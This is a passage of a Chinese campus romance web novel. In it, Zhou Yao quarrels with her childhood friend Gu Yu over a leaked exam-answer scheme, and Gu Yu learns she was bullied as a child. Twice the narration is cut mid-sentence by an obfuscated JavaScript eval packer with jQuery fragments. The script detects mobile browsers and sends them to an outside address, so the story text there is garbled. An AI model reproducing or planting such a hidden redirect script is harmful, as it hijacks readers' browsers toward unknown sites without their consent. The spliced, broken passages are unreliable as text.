周窈无声地摇了摇头,代薇子和蒋煜迅速对了个眼神——“挨批评了。” 自顾自收拾完东西,周窈以最快的速度走出教室,以往她都要在教室里待一会才走,但今天她却只想回家。她一走,代薇子便立即拎上书包追了上去。望着两人的背影,蒋煜摇了摇头:“葛朗台·周今天日子不好过啊……”说着,他扭头看向自己的同桌顾彧,这人看似在做题吧,草稿纸上却都是无意识乱画的线条,视线也早就飞出教室了。 本着“团结友爱”的精神,蒋煜一拍顾彧的肩:“来吧顾神,Men''stalk走起!” 周窈走得很快,代薇子快到楼下才追上她。 “等等我啊,走这么快干嘛?史芬到底说你什么了?情绪这么低落。” “没说什么。”周窈不想多说,径直往学校大门走。 见她不肯说,代薇子便也不坚持再问了,只挑了些有趣的事说想缓解周窈的情绪。因为两人家在不同方向,取了车后,两人就分开走了,只是周窈刚骑上车还没走两步,就被拦了个正着,抬头一看,是原先隔壁十班的班痞陈骏,不过现在已经退学了。 退学后的陈骏俨然成了个小混混,染着黄一撮蓝一撮的头发,穿着一件散发着汗臭味的黑色T恤,牛仔裤上满是破洞,看不出是本来就是这么设计的,还是故意扯破的。 被臭味熏了个正着的周窈微不可查地往后退了一步,就听陈骏痞里痞气地问:“哟,葛朗台·周,放学了?看见顾彧了没?” 找顾彧?周窈眉头一皱。 “你找顾彧干嘛?” 陈骏咧嘴一笑:“想见识见识咱们一中的校草啊,他应该还没走吧,帮我回去叫他一声呗。”说着,从口袋里掏出一张红色纸币,想塞给周窈。“跑腿费。” 然而周窈却没接,只是说着“我跟他不熟。”便脚下用力想走,却没骑动,回头一看,陈骏正拉着她车后座呢。 “松手。” “啧。”陈骏舔了舔后槽牙,“好歹以前隔壁班的,有点交情,这点忙都不帮?还是跑腿费给少了?” 周窈不屑:“我是很爱钱,但我更爱和平。”说着,她再次骑了出去,这次陈骏倒没阻拦了,任由她离开。 骑出了十多米远,周窈停下来回头看去,陈骏还在大门口堵着呢,看样子是不等到顾彧不罢休了。 陈骏以前是出了名的差生,后来因为参与一次社会上打架斗殴的事件,被劝退了,之后似乎就一直在社会上混,蒋煜他们偶尔能在网吧里看见他,据说是跟了个什么大哥,反正看起来不像好人。 正想着这人能有什么事找顾彧,就看见朱鑫纬带着几名同学从学校里出来,他刚出来陈骏就迎了上去,颇是一副哥俩好的味道。 看到这,周窈哪还有不懂的,搞了半天还是男生那点可笑的自尊心。 于是她也不再管了,骑着车自顾自回家去了。 10. 冷战 回家后周窈心情也没好转,既不想吃饭也没心思做作业,和陈娟打了个照面之后就回房间躺到了床上。 拿出手机刷了一会,就见群里蒋煜晒了一张照片,照片焦点在三瓶堆在一起的可乐上,背景是球场上跑动的少年。 纵然背景里的人糊成一片,但周窈还是一眼认出了是谁。 自己烦得要死,他竟然还有心情打篮球。 眼不见为净,周窈直接扣上手机,干脆眼一闭睡起觉来。 而□□群里,蒋煜的照片倒是炸出了一堆人。 【代代:你们竟然还有心情打篮球?!】 【蒋蒋蒋蒋:你不懂,我们只是利用篮球拉近心灵。】 【③孬学生:请你们直接进入正题好伐,我今天几乎交的白卷!】 【蒋蒋蒋蒋:你以为我不是吗?老子直接滑铁卢了!】 【代代:你哪次不是倒一?哪来的滑铁卢。】 【⑨班卡扎菲:那你们倒是问啊,他到底为啥不给我们传答案,昨天不是答应了吗?!】 【蒋蒋蒋蒋:怎么没问啊,李铭轩早就问了,但人顾彧没说。】 【①中萨达姆:我赞助十块钱,拿可乐给我灌他!灌到他肯说为止!】 【③孬学生:萨总霸气!】 【⑨班卡扎菲:萨总霸气!】 【代代:萨总霸气!】 过了一会…… 【蒋蒋蒋蒋:卧槽,我TM打球打得要断气了……】 【①中萨达姆:(点烟emoji)他招了吗。】 【蒋蒋蒋蒋:招个屁!今天打得还贼TM狠!】 【③孬学生:要你何用!】 【⑨班卡扎菲:要你何用!】 【蒋蒋蒋蒋:那你们倒是上啊!就会在群里瞎比比!】 【①中萨达姆:借过,菩萨叫我去投胎了。】 【⑨班卡扎菲:兄台一起,黄泉路上我和你!】 太阳下山,夜里凉风四起,吹得窗户“哐哐”直响。周窈其实也没睡熟,朦朦胧胧间一会是史芬抓着她说成绩怎么提高不了,一会是追债的四哥踹她家的门,一会是她爸周建民那张欠揍的脸。一会又是顾彧,看上去很是委屈,像是自己欺负了他似的。看他那副样子,周窈就气不打一处来,气着气着就醒了。 刚起来就听见房间外面噼里啪啦的,陈娟不知道从哪里拖来了一大堆纸板箱,在家里拆呢。 “你怎么又把纸箱拖回家来了,多脏啊。” “你懂什么。”陈娟扫了周窈一眼,拍了拍手边还没拆的那些,“快点过来帮忙,这可都是我拜托门卫老刘给我留的,要不然扫垃圾的那女的早都给收走了。” 周窈在陈娟边上蹲下来,也跟着她一起拆。 陈娟:“别小看这些纸箱子,也能卖个十几二十块呢,咱们娘俩一天饭钱了……积少成多,早点还完债,你爸也能早点回来……” 闻言,周窈不禁抬眼看了陈娟一眼,她妈看起来很质朴一女的,偏偏脑子不咋清楚,被周建民骗得一愣一愣的,人都跑了她还没清醒。 周窈熟练地帮陈娟把纸箱拆开压平,拿了个喷壶灌了水将纸箱内部喷湿,才又拿了根绳子牢牢捆上。随后陈娟扛起纸箱,打算去小区后门的废品站卖了。周窈见她吃力,便上前想要搭把手,一低头就看见陈娟小腿上的淤青,东一块西一块竟有两三处。 昨天那俩追债的打到她小腿了吗? “你腿怎么了?” “嗯?腿?”陈娟显然还没意识到,低头一看才注意到自己腿上的淤青,“可能哪里碰着了吧。”她想了一会,也没想到究竟是哪里碰了这么大几块淤青出来。但显然这也不怎么重要,医院里照顾病人进进出出的,有时候情况紧急哪里磕一下碰一下也是有的,她便也没放在心上,招呼周窈一起把捆好的纸箱搬出去。 周窈望着她有些发黄的面色,掂了掂纸箱的重量:“你脸色看起来不怎么好,要不去躺会吧,这个纸箱我自己一个人搬得动,晚饭你也别弄了,我回来煮两碗面就行了。” 陈娟确实觉得累,气都有点喘不上来,闻言也就答应了:“哦,也行,记得跟收废品的讲讲价,别老实巴交他说什么就是什么了。” “知道了。” 纸箱掂着好像不是很重,但一路扛着也是吃不消,周窈走走停停,原本五分钟的路,她走了十多分钟才走到。 废品站此时已经在装车了,看见周窈拎着纸箱过来,老板脸上有些不耐烦,这家废品收购站规模挺大,不太看得上这种零散的东西,因此态度也说不上好。老板接过周窈手里的纸箱,随便掂了一下,叼着烟随意地说道:“八块。” 周窈:“你上秤看看。” 老板吐了口烟圈:“上秤,上什么秤,我干了这么多年了我还不知道了?”说着,他又掂了下,“就八块,要卖就放着,不卖就扛回去。” 周窈也没答话,她掏出手机来查了查,半分钟后,她重新拎起笨重的纸箱往外走去。 老板看着她的背影,半是嘲笑地哼了一声:“哟,小姑娘有骨气哦。” 其实过了红绿灯再走一段,还有一家废品收购站,但是规模小很多,加上路有点远,平时陈娟也不往那去。 周窈吭哧吭哧地扛着纸箱走了好一段路,九月初的天气她衣服的领口几乎都被汗水打湿了。到了这家重新一秤,果真比刚才那家贵一些,卖了十一块,其中估计有个五毛钱是喷壶的功劳。 收了钱,周窈没立即往回走,而是去菜店买了一小块瘦肉,想回去给陈娟煮碗肉丝面吃。 掏出手机付钱,就看□□上又是几十条未读消息,原本她也懒得看,但眼睛扫了一眼预览,突然愣住了。 【蒋蒋蒋蒋:陈骏要打顾彧卧槽!】 【代代:?】 【⑨班卡扎菲:?】 【①中萨达姆:???】 【③孬学生:?】 【蒋蒋蒋蒋:艹了!真的!我们刚出校门就被陈骏堵住了,他冲着顾彧来的,原本顾彧不想理他,但他拽着我们不让走,上来就要打顾彧。】 【代代:我有点晕,这俩人认识吗?】 【①中萨达姆:陈骏以前喜欢于奥琪。】 【⑨班卡扎菲:……】 【③孬学生:……】 【蒋蒋蒋蒋:不是啊,陈骏刚开头说的是,帮他的朋友朱鑫纬教训顾彧来着!】 【代代:……】 【①中萨达姆:俩月不见,陈骏还是这么没脑子……】 【⑨班卡扎菲:朱鑫纬:说好的悄悄把人打一顿的呢?!】 【代代:打赢了吗?】 【蒋蒋蒋蒋:巨惨烈!】 周窈一目三行地大致扫了一眼群里的内容,看到最后一行时愣住了,顿时有些懊恼自己遇到陈骏以后不该直接走人的,好歹跟蒋煜他们说一声,留个心眼。不过当时她也没想到会这么严重,陈骏虽然因为打架退学,但认识的都知道他不过是个躲在后面的小弟,没什么胆子挑衅,谁能想到几个月不见他突然长胆子了?! 顾彧不会有事吧。 想到这,周窈坐不住了,拎着刚买的瘦肉往回飞奔,一边跑一边打电话给蒋煜,电话响了几声,蒋煜接了。 周窈:“顾彧和陈骏在哪打架?!” 蒋煜:“啊?在……在校门口的小店街边上,你不会是要过来补两脚吧,别啦……” 蒋煜还未说完,周窈就匆匆挂了电话,想着赶紧回家拿自行车。 然而当她喘着粗气来到家楼下时,就见本该在学校门口打架的顾彧此时正推着自行车站在自家楼下,天色昏暗,小区里照明也不怎么亮堂,周窈喘匀了气,拎着那块瘦肉往一楼大门走,经过顾彧身边的时候,看似不着痕迹地瞟了他一眼。 很好,起码脸上没受伤。 确认他基本没事,周窈收回目光,又为自己的自作多情感到可笑,于是自顾自打开了一楼大门,准备回家。 “周条条。”顾彧开口叫她。 开门的手一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460782|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿,周窈回头,目无表情地望向顾彧。 “对不起。”未散尽的天光下,少年的眸光灼灼,眉眼间全是歉意,和以往那种装出来的委屈很是不同。“我早上听到有人跟数学章举报你卖答案,本来想跟你说一声的,但没来得及。” 周窈盯着他看了一会,几乎毫不犹豫就相信了他的话。理智告诉她,这事其实不怪顾彧,他也是想帮自己,但不知道为什么,或许是今天不顺的事太多,又或许是这些年来心中积压了太多的委屈,总之,顾彧这一句道歉,非但没抚平今日的误会,反倒成了点燃炸药桶的那一簇火苗。 竭力压抑着自己的情绪瞬间爆发,周窈的声音微微颤抖:“顾彧,为什么我一遇到你,就没好事呢?” 说着,她拉开一楼大门,头也不回地上楼回家去了。 “砰!” 厚重的关门声惊起原先趴在墙顶上的野猫,三花小猫伸了个懒腰舔了舔自己的爪子,三两下蹿下墙头来到路边吃好心人投喂的猫粮,吃了两口又抬头瞄了眼站在原地的少年。 天边余晖散去,少年站在原地像座雕像,他微微偏着头,狐狸眼里满是不解,刚刚周窈的那句话在他脑海里不停回放,每回放一遍,他的不解就更深一些。 这是他人生中第一次听到拒绝意味如此明确而又深刻的话,尤其说这话的人还是周窈,和他一起长大的好朋友。 头一次,顾彧觉得自己的那些拿手把戏不好用了。 他从小就知道自己长得好看,小时候因为爸妈不常在身边,如果受了欺负,他就会装可怜说些漂亮话以博取那些老师和大人的同情,让那些欺负他的小孩被教训。周窈从小就知道他会使这一招,但从来也没拒绝过他。 但今天的周窈,却给他一种,无论他怎么装可怜,都不会理他的感觉。可撇开这些,更让他觉得失控的是,他并不知道自己哪里得罪周窈了。 轻微的响动从眼前这扇厨房窗户中传出,顾彧抬眼望去,然后挪动脚步,缓缓离开。 周窈垂着头站在门后,拎着瘦肉的手还微微抖着,她刚刚说出了这辈子对除周建民之外的人说过的最恶毒的话,但她也并没有因此而感到快意,更多的是摸不着头绪的怅然和后悔。 “回来了?怎么去了这么久啊?” 陈娟的话仿佛将周窈拉回现实世界。 她一边往厨房走一边回答:“小区后门那家只给八块钱,我去了路对面那家,卖了十一块……” “才十一块?!”陈娟的声音陡然尖利起来,“我自己掂过,绝对有十三块的!哎哟,早知道就不让你去了,人家肯定看你年纪小,宰你……” 周窈将瘦肉放进水池里冲洗,一边不经意地抬头往窗外一看,正好看见顾彧默默离开的侧影。 除了他奶奶去世那会,周窈从未见他这样颓丧过…… 悔恨裹着她的良心再次涌了上来,周窈深吸一口气,开始给自己洗脑——这家伙最会装可怜了,可别被他骗了!竟是生生将涌上来的不忍按了下去。 而此时的群里…… 【⑨班卡扎菲:请详说“惨烈”。】 【③孬学生:清详说“惨烈”。】 【蒋蒋蒋蒋:话说那陈骏在校门口终于堵到了顾彧,打算替他的好朋友朱鑫纬好好教训一下这目中无人的校草。就在他有力的双臂终于揪起了顾彧的衣领时,他竟悲催地发现,自己比顾彧矮了那么一个头……】 【蒋蒋蒋蒋:许是这样略显滑稽的场景刺痛了陈骏的自尊心,他高高扬起拳头就要向顾彧挥去……】 【蒋蒋蒋蒋:然后顾校草一把捏住了他的拳头,随后从口袋里掏出了手机……】 【蒋蒋蒋蒋:就在众目睽睽之下,他拨通了史芬的电话……】 【③孬学生:……】 【⑨班卡扎菲:……】 【①中萨达姆:日NM!退钱!】 【代代:一中装不下你了,赶紧去德云社!】 【蒋蒋蒋蒋:(对手指)不是你们叫我说的吗……】 11. 铁石心肠 顾彧被混混陈骏堵了转而打电话告老师这件事终究还是被蒋煜给宣扬了出去。第二天周窈到教室时,几乎全班都在讨论这件事,有讥讽顾彧不愧是书呆子,没胆,一点都不男人,也指责朱鑫纬的小人行径,朱鑫纬没想到陈骏就这么把他给卖了,自然是死不承认,蒋煜和李铭轩便冲了上去,一副要替顾彧主持公道的样子,也不知道他们仨怎么突然这么铁了。而顾彧本人么……嗯,他还没来。 看见周窈进来,蒋煜三两步又蹿了过来。 “阿周!你昨天不会真的去了吧!挂电话挂得这么快,我都没来得及跟你说!” 周窈想起昨天晚上的“自作多情”,略有些尴尬,但还是掩饰着回道:“我去干什么,我就是问问,幸灾乐祸一下。” “我想也是,我还以为是要过去拍两张照片,高价卖给校报!” 周窈瞟了他一眼:“你也想太多了吧。” 蒋煜:“这不是得符合你的人设么。” 两人没说几句,伴随着门外走廊传来的一阵叽喳声,顾彧斜挎着背包出现在班级门口,而荣子涵则跟在他身边叽叽喳喳不知道在说些什么。 蒋煜乐了:“哟,我们家子涵一大早就犯花痴啊~” 荣子涵白了他一眼:“关你什么事,要你多嘴。” 嘈杂声中,顾彧一言不发地走进教室,和周窈错身而过的瞬间,他的手臂不小心擦过周窈的袖摆,细微小的摩擦让这一小片皮肤微微战栗。周窈不自觉抬头看了他一眼,向来懒散而张扬的少年,今天就像是蔫了一样,全然没有精神。 良心再度不安了起来。 但从小到大他不是都这么装可怜的吗? 早自习铃声响起,周窈清干净复杂思绪,打开语文书开始背课文。而她身后刚刚坐下的顾彧,突然抬头看了一眼面前女生的背影,修长的手指轻点着桌面,此时他脸上早就没了刚才的那种低落表情,转而表现出几分费解。他不明白,自己都这么可怜了,周窈竟然还没理他。 早自习刚开始不到五分钟,史芬匆匆忙忙进来,脸上带着一层薄薄的怒意,上来就给大家做思想工作。 “刚开学有些人心还野着是不是啊?放假的时候你们随便闹,现在已经开学了!都给我收收心!咱们班还没打散拆班呢,怎么着有人就想做地头蛇了?!” 后排蒋煜推了推顾彧,压低了嗓音:“史芬帮你出气呢。” 顾彧看了他一眼,又瞥了一眼讲台,没说话,继续低头看书。 蒋煜还想着这位校草同桌今天格外沉默呢,讲台上的史芬已经停止了训话环节,然后将朱鑫纬叫了出去单独训了一顿,嗓门高得整个楼道都能听见,再回到教室时,朱鑫纬脸黑得跟鞋底似的。 蒋煜看着他压抑着怒气回到座位上,中途还不知有意无意撞了下顾彧课桌,一脸吃瘪相,不免也有些得意:“不得不说你这招虽然怂是怂了点,但真管用,看他以后还敢不敢找你麻烦。” 顾彧冷着脸,头都没抬:“嗯。” 史芬前脚刚走,数学章后脚就腋下夹着一沓试卷进来了。 他一进来,原本还算安静的教室瞬间一片哀嚎。 “叫什么啊,对自己的分数都心里有数没有啊?”说着,他便让课代表将试卷发了下去,自己则站在讲台上望着班级里“哀鸿遍野”,阴阳怪气地讥讽:“我都做好了你们会考砸的心理准备,但没想到能这么砸啊。我就说吧,考好一次是侥幸,长久的保持高分没那么容易。做人啊,就是不能得意,数学会公平地惩罚每个掉以轻心的人。” 这番话说得倒好像是那么回事,但周窈早就听出了他话中的揶揄。 她这次考得不好,考试的时候因为传答案这件事几度分心,导致最后一道大题都没写完,中间有几道选择题也填错了,总分只有125,上学期末她数学成绩还是上了130的。 “表扬一下孔昊英同学,这次他分数提高很显著,考了139,所以我说,付出就会有回报……” 周窈猛地向孔昊英看去,孔昊英此时正一脸骄傲地望着自己的试卷,小声“谦虚”着:“哎,我太粗心了,大题虽然做出来了,选择题竟然没仔细审题……” “能得他。”代薇子一边小声吐槽,一边拿过周窈的试卷打算对下答案,在看到周窈的分数之后,她也愣住了。“你这次……也没考好啊……”代薇子自己是不擅长数学的,每次成绩也就110上下,超常发挥才能上个120,但周窈基本稳定的都在130以上,算不上顶尖吧,但也足够优秀了,这还是第一次见她下了130。 周窈看着自己试卷上醒目的分数,心里是说不上的气闷,语数英里,数学是她相对的弱项,如果她的数学成绩能再提高十分,能再稳定一点,总分就能上六百,离她的理想大学又能再进一步。而且这次考试并不算太难,这样的分数,她自己都说不过去。 “其实这次题目难度在夏令营里都算低难度的了,不知道做了多少遍了……”边上孔昊英还在吹夏令营,周窈闻声向他望去,果不其然和孔昊英的眼神撞到一起。孔昊英颇为得意地看了她一眼,随即装模作样地低头改起错题来。 看他那样,周窈也知道想从他嘴里知道夏令营的信息,几乎不可能了。 “切,得意什么啊。”后排,蒋煜贱贱地嘲讽。“不就偶尔考好了一次么,他又不是第一名。” 代薇子立刻转过头去:“第一名谁啊?”刚一回头就看见蒋煜试卷上那大大的29,不由得嫌弃地啧了一声。 蒋煜充分地无视了自己的分数,骄傲地仰起头,大拇指往自己身边一指:“学霸不是在这么?人家148都没说什么,139有什么可骄傲的,什么时候上了140再说吧。” 蒋煜话一落地,班级里顿时发出“哇……”的感叹声,其中数荣子涵的声音最响亮。 孔昊英当众被人打脸自然不爽,立即就跟蒋煜对起线来。 “你怎么有脸说我啊?你突破个位数了吗?” “你管我突破没呢?” 周窈迅速回头扫了一眼顾彧的试卷,果真是148,扣在最后一道题的解题步骤。 原本就气闷,现在更是喘不上气了。 转身时她抬了下头,正好和顾彧的眼神对上,张扬的少年默不作声地看着她,漂亮的狐狸眼,眼底微微泛红,平日里总是张狂地轻扬着的嘴角此时也微微耷拉着,忽略他的身高,确实能让人产生保护欲。 但周窈小时候被他骗过太多次了,早已练就了一副铁石心肠,于是毫不犹豫地转回身去,对着自己的卷子仔细订改起来,忽略蒋煜和孔昊英有一句没一句的互呛。 “啪啪。”数学章重重拍了下讲台:“吵什么?蒋煜你有什么资格说别人吗?低头看看你自己的分数,批你的卷子是最省时间的,都是空白!这次考试,有个别同学靠自己的努力提高了成绩,但更多的还是退步!怎么了,没人给你们抄答案,ABCD都不会填了是吧!随便蒙一个正确率也比你们现在高!” 纵然周窈已经从顾彧口中知道了真相,但听数学章提起这事,依旧怔了一下,更别提蒋煜他们了。 于是下课后,蒋煜、李铭轩等人就凑了过来。 “我去,数学章怎么知道答案的事啊?是不是有人告密啊!我说他考试那会怎么老在咱们这转悠呢,原来是有人打小报告!” “这下还真得谢谢顾神了,不然我们现在都得被抓去写检讨了……” 李铭轩望向顾彧:“你是不是提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460783|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前知道啊?” 顾彧点了点头,随即扫视了一下四周,依旧选择没将那天的事说出来。 “卧槽!”蒋煜恍然大悟:“要不说还是人顾神呢!”他们被抓去写检讨也就罢了,若是周窈被揪出来,以后这块业务都给取缔了,他们可怎么活啊!“仗义啊顾神!哎……”他推了推前排的周窈:“葛朗台?周你还不赶紧给人道歉,错怪人家了啊……” 然而周窈只是站起身扫了他们一眼,随即拿着杯子出去接水了。 “哎,周——” 代薇子小声提醒:“你们别闹她了,她这次数学没考好,正郁闷呢。” 蒋煜抓抓头:“怎么是闹她呢,本来错怪了人就得道歉的吧,对吧顾神。” “不用。” “嗯?”蒋煜略有些惊讶地扭头看了眼顾彧,“那可不行,做错得认!要不,我先替阿周给你道个歉吧。” 李铭轩:“你人还怪好的,有这功夫你怎么不把告密的人抓出来?” 这算是说到正题上了,蒋煜眼珠子转了转,一拍大腿:“这有什么难的!”他视线在班级里转了一圈,“平时看阿周不顺眼的就那么几个,体育课上记恨阿周的朱鑫伟,不过他也买了答案了……那就剩下永远考不过阿周的学委你啦~”说着,蒋煜往边上一蹿,直接蹿到了孔昊英的桌边,撑着桌子看他,“老实交代吧孔同学,是不是你跟数学章告的密?偶尔一次考过周窈看把你得瑟的哦,就差上蹿下跳了。” 孔昊英也不知道是不是被蒋煜突如其来的质问给惊着了,竟然结巴了起来,眼睛也不自主地瞪大:“瞎,瞎说!我何必去告这个密?!我这次本来就有信心考高分,我干嘛要和你们这些吊车尾的过不去?!我看你是无凭无据乱怀疑!” 蒋煜摸着下巴:“似乎也有这么点道理哦……” 李铭轩:“……” 此时,周窈拎着水杯从外面回来,回来后也没说话,只是安静回到自己位置上坐下。 嘈杂的班级里,学生们吵吵闹闹,几乎没人注意到,从周窈经过走廊开始,顾彧的视线就一直没离开过周窈。 他撑着头,狭长的狐狸眼盯着周窈的后背,看似漫不经心地打了个哈欠。他昨天一夜没睡,一直在思考为什么周窈不愿意搭理他,甚至到了有些厌恶的程度,却怎么都没想明白。他自认长相OK,成绩优异,性格……起码装得挺好的吧,周窈有什么理由讨厌他? 等到放学,原本习惯晚走的周窈利落地收拾了东西准备离开教室,却一把被顾彧拉住了书包。 她低头扫了眼扯着自己书包的那只手:“放开。” “我们聊聊。”顾彧看着她,收起了以往吊儿郎当的样子,十分认真。 “啪。”见他不放,周窈便毫不客气地一把将他的手拍开。 “周窈。” 周窈并不理他,和代薇子一起头也不回地离开了教室。 顾彧看着她的身影消失在教室外,刚刚被周窈拍开的手慢慢垂下,在身侧握成拳。 围观了全过程的蒋煜叹着气凑上来,内心也多少有些疑惑:“葛朗台?周这次气性真的好大啊,你确定除了答案这事,没别的事惹到她了吗?” 顾彧扭头,头一次对这件事产生了动摇:“我不知道。” “啧。”蒋煜摇了摇头,“哎,九成九都是这样啦,男生不知道女生为什么生气,但女生已经气成了河豚。看在你仗义的份上,走吧,请你吃油炸,顺便帮你分析分析葛朗台?周,我敢保证,全校没有人比我更懂她了!”话音刚落,就见顾彧盯着自己看,对上顾彧那双眼睛,蒋煜没由来地打怵,“干,干嘛盯着我看啊,你不爱吃油炸?” 顾彧冷声道:“你最好是最懂她的人。” 12. 小保姆 蒋煜叫上李铭轩,带着顾彧一起去了一家油炸店,这家店在舟市的学生圈子里很有名,顾彧听说过,但没去过。 点好吃的,三人找了张靠里的长桌坐下,这个点店里人挺多,几乎都是附近的学生。 蒋煜拿着开瓶器开了三瓶可乐递了过去:“这店离三中更近,所以三中的学生更多一点。”说完,一盘炸好的串串送了上来:“这家炸鸡腿是招牌,外面那个秘制酱巨巨巨好吃!来来来,咱们碰个杯,就当给你们补个欢迎仪式!” 三瓶可乐碰到一起,蒋煜豪迈地吨吨灌了半瓶,然后啪地将瓶子往桌上一放,摆出一副调解员的架势。 “说说吧,到底怎么得罪葛朗台·周了,上一次我看她跟别人起冲突,好像还是因为那人逃单,直接导致她后来都是先付款后‘发货’了。” 顾彧捏着饮料瓶仔细想了想,但依旧毫无头绪:“如果是因为答案的事,我已经跟她道过歉了。” “她怎么说?” “她说……”顾彧偏过头细细回想那天周窈对自己说的话,最后总结道:“大概意思就是我是扫把星。” “呃……”蒋煜和李铭轩面面相觑,“严格意义上来说,倒也不错,我们买暑假作业那天,不也是你把史芬给带过来的么。” “只是凑巧。”顾彧抬眼,严谨地替自己争辩。 蒋煜啃了一口鸡腿:“嗐,都一样,反正在葛朗台·周眼里都是你搅了她生意,那天因为你和史芬的突然出现,跑了好几个人呢!” “是这样吗?” “而且你还让她白买了一瓶脉动。” 李铭轩惊讶地瞪大眼睛:“这也要算进去吗?” “啧啧啧。”蒋煜故作高深摇了摇头,“换做我们肯定就是算了,但她是谁,是葛朗台啊!那肯定就不能这么算了的。” 顾彧眯了眯眼睛,漂亮的狐狸眼里还是第一次写满了迷茫:“那我,赔她一瓶脉动?” 李铭轩惊得手里的鸡腿都掉了:“不是吧,你还真信啊?” 顾彧当然不觉得周窈是因为这一瓶白给了的脉动跟他翻脸,但想起她现在的处境,又有些拿不定主意,毕竟三年多没怎么见了,人搞不好也是会变的,当初那个没日没夜陪在他身边的小女孩,或许变了呢? 正想着,边上来了两个拼桌的。这家店面积不大,桌子也就这么几张,现在正是放学高峰期,拼桌也很正常,他们仨也没人反对,于是那两人也就坐了下来。 其中一个鼻子上长了颗青春痘的男生坐到了顾彧的斜对面,从刚开始一直盯着他看,三人一阵讨论无果后,他倒是凑上来小声问道:“哎,你是不是顾彧啊?” 顾彧闻言朝对方看去,盯着看了好一会,却没在自己的记忆里找到能对号入座的人。看上去场面有些尴尬,但那青春痘倒也不觉得奇怪,笑着解释:“可能你不记得我,我们小学是隔壁班的,你四班我五班,我们一起上过奥数课!” 然而即便他已经这么说了,顾彧也依旧没想起来,对方口中的奥数班他也就上过两三节课,就没兴趣再去了。青春痘挠了挠头,显得有些局促,有些手忙脚乱地帮顾彧回忆着:“你们班班主任是我们班的数学老师来着……”想了想,他突然叫出声来:“啊!对了,你家那个小保姆在我们班上!” “我家的,小保姆?”顾彧皱眉反问。 许是终于和顾彧搭上话了,青春痘的表情终于开朗起来:“对啊,叫什么来着……叫,哦周窈!她妈妈不是在你们家当保姆的吗?” 确实是,小学的时候周窈和他一个五班一个四班,班级楼上楼下,起先周窈还特地下楼来找他一起回家,但某一天之后,他们几乎就没再一起回过家。 当时周窈是怎么说的来着?好像是因为喜欢他的小女生太多,周窈和他一起上下学,会被班里的女生问东问西,她觉得很烦。 边上蒋煜和李铭轩也是第一次知道这件事,不由得睁大了眼:啥?顾神和葛朗台?周认识?小学就认识?周窈她妈还是顾彧家保姆?! 青春痘没注意蒋煜这边的动静,一个劲给他的同伴介绍顾彧:“那时候我们学校最风云的人物了!成绩好!长得帅!而且家里有钱,我们那时候流行什么玩具啊模型啊,他都是第一个有的,还特别能招小姑娘,每天屁股后面能跟一堆!诶,你现在在哪个学校啊?按你的条件,一中应该没跑吧?” 纵然这青春痘的言辞让顾彧不是很舒服,但他还是礼貌地回答了他的问题。 “嗯,我在一中。” “我说什么来着!果然是一中吧!不仅长得帅,头脑也好!诶你看现在电视上,有几个比他帅的?”青春痘和同班一阵夸夸而谈,像是认识顾彧是一件多么值得显摆的事似的,说得起了兴致还拍了拍故意的肩,丝毫没注意刚拿过炸串的手上有不少油污,自然也没注意到自己同班略显尴尬的表情。 顾彧低头看了看被青春痘拍了一掌的肩头,也没言语,默默接过李铭轩递来的纸巾。 蒋煜看了眼桌面上的气氛,想着该起个什么头把话题从青春痘这扯开,就听那青春痘又问道:“唉顾彧,你那个小保姆也跟着你去一中了吗?” 本就有些不悦的顾彧眼神终于冷了下来,他扔掉手里的纸巾,望向青春痘:“周窈成绩很好,靠自己努力考进了一中,不存在什么跟着我去一中,还有,别‘小保姆’‘小保姆’的叫她。” 只是那青春痘不知道是神经大条还是压根不觉得自己这种行为很侮辱人,总之,他完全没有感受到顾彧的不爽,依旧和自己同伴嬉笑着说着:“嗐,这有什么的,我们那会一直这么叫她,小保姆、小保姆的,她也没怎么样啊,都叫了好几年了。而且我们那会还爱跟她开玩笑,值日都让她干,说她家里干保姆的,打扫卫生一定很干净,有人还会特地把垃圾扔到她桌子上让她帮忙扔什么的……” 青春痘这话一出,边上的蒋煜和李铭轩都惊了。 “哈?你们管这叫开玩笑?” 青春痘浑然不觉:“对啊,也没怎么样啊,又没有打她骂她。哎呀,每个班不都有这么一两个同学,跟大家的出气包似的,你们班没有吗?这没什么吧……哦,不过有一次我们班上几个男生确实有点过分,他们把小保姆关进了那个卫生角里,说她是小保姆,就该呆在里面什么的……诶你干嘛?!” 话音未落,就见顾彧起身绕过桌边,揪着青春痘的衣领将人拎起来往店外带,手劲大得吓人,青春痘本就不如顾彧高也不如他结实,根本没有还手之力,跌跌撞撞就被顾彧拎了出去,像拎个小鸡仔。 “哎哟卧槽!”蒋煜看着顾彧像是拖个沙袋一样拖着那青春痘就出去了,心想搞不好要出事,赶紧和李铭轩追了出去,那青春痘的同伴也急忙跟上。 店外的巷子口,顾彧一把将人抵在墙上,狐狸眼中此时盛满了怒火:“你们那时候还对她做过什么?! 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青春痘说的这个“傻子”,顾彧还有印象,是一个智力略低于正常水平但又不至于到残障程度的小男孩,班级里的同学也会嫌弃他,不跟他玩,觉得他每天趿拉着鼻涕很脏,怀疑他身上有病毒,每回有小组作业需要组队的时候,他总是被落下的那个。有一年他们去郊外春游,这个小男孩甚至被同学恶意地骗到一个偏僻地方,当时还是周窈把他给领回来的。 心像被人揪着的疼。所以当年的周窈,也遭受着和这个男生一样的霸凌和排挤吗? 